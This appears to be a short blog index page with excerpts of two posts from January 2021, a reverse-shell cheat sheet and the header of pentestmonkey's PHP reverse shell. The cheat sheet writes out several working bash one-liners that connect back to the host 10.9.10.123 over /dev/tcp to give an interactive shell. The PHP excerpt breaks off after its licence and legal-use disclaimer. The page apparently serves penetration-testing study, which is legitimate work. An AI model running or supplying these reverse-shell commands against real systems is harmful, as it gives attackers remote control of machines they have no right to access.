Reverse Shells

19 Jan 2021

Mostly from PentestMonkey and HighOn.Coffee Bash Some versions of bash can send you a reverse shell: bash -i >& /dev/tcp/10.9.10.123/1234 0>&1 exec /bin/bash 0&0 2>&0 0<&196;exec 196<>/dev/tcp/10.9.10.123/1234; sh <&196 >&196 2>&196 exec 5<>/dev/tcp/10.9.10.123/80 cat <&5 | while read line; do $line 2>&5 >&5; done # or: while read line 0<&5;...

pentestmonkey PHP shell

19 Jan 2021

Here it is <?php // php-reverse-shell - A Reverse Shell implementation in PHP // Copyright (C) 2007 pentestmonkey@pentestmonkey.net // // This tool may be used for legal purposes only. Users take full responsibility // for any actions performed using this tool. The author accepts no liability // for damage caused...